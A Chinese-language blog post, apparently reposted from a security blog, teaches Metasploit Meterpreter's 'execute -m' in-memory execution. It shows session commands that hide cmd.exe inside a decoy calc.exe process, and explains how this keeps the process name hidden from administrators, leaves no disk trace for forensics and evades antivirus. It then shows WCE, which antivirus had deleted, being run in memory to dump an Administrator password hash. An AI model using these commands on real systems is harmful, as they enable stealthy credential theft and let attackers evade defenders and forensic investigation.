本文介绍一下在Metasploit中被很少人了解的一项功能—Meterpreter执行命令过程中的—m参数。在说明文档中,仅仅介绍了这个参数能够在“内存中执行”,其实没有真正解释它的价值。下面是使用这个参数的一个演示:
meterpreter > cd %systemroot%
meterpreter > cd system32
meterpreter > pwd
C:\Windows\SYSTEM32
meterpreter > download cmd.exe
[*] downloading: cmd.exe -> cmd.exe
[*] downloaded : cmd.exe -> cmd.exe
meterpreter > execute -H -m -d calc.exe -i -f cmd.exe
Process 572 created.
Channel 5 created.
The system cannot find message text for message number 0x2350 in the message file for Application.
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\SYSTEM32>
得到shell后,输入ps后,能够看到后台进程中有一个calc.exe进程,同时看不到有cmd.exe进 程,这事什么原因呢?首先,我们从目标机器上下载了在cmd.exe,如果你已经有一个cmd.exe文件的话,这一步是可以省去的。其次, 我们执行calc.exe作为傀儡程序执行,同时上传另一个恶意程序占用calc.exe的进行空间。在目标主机上,这个过程在calc.exe挂起后进 行,利用windows debugging API 去掉clac.exe的内核并替换成我们想执行的恶意程序。(真心邪恶)
利用内存执行技术(in-memory executable technique)有几个优势
- 程序名不会在进程列表中出现,所以像windows的程序管理器中显示的进程名,你可以通过—d选项选择你需要的名字,这一点非常重要,可以确保你能够避开敏感人士的检查。
- 执行文件永远不会再硬盘下留下痕迹。比便在硬盘上执行文件意味着增大了取证分析的难度。(没有新文件的产生或者时间修改的痕迹),尽管执行文件本 身会留下痕迹,但是需要追查这些痕迹很难。程序仅执行在内存中意味着杀毒软件少了一个捕获恶意程序的机会,杀毒软件一般不喜欢那些经常使用的软件,比如 WCE( Windows Credential Editor),所以在内存中运行程序少了不少麻烦,示例如下:
meterpreter > upload wce.exe
[*] uploading : wce.exe -> wce.exe
[*] uploaded : wce.exe -> wce.exe
meterpreter > ls wce.exe
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
杀毒软件检测到WCE.exe这个程序是恶意程序并立即删掉了,但是如果我们换一种方式,在内存中执行:
meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt"
Process 3216 created.
meterpreter > cat foo.txt
Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
还有一个优点值得提出的是,如果cmd.exe在目标机器中禁用或是不存在,那么可以通过上述方式直接上传一个cmd.exe进行使用。
本文转自:http://seckungfu.com/blog/2012/09/16/metasploit%3A%5B%3F%5D-ke-mei-you-fa-xian-de-zhen-zhu/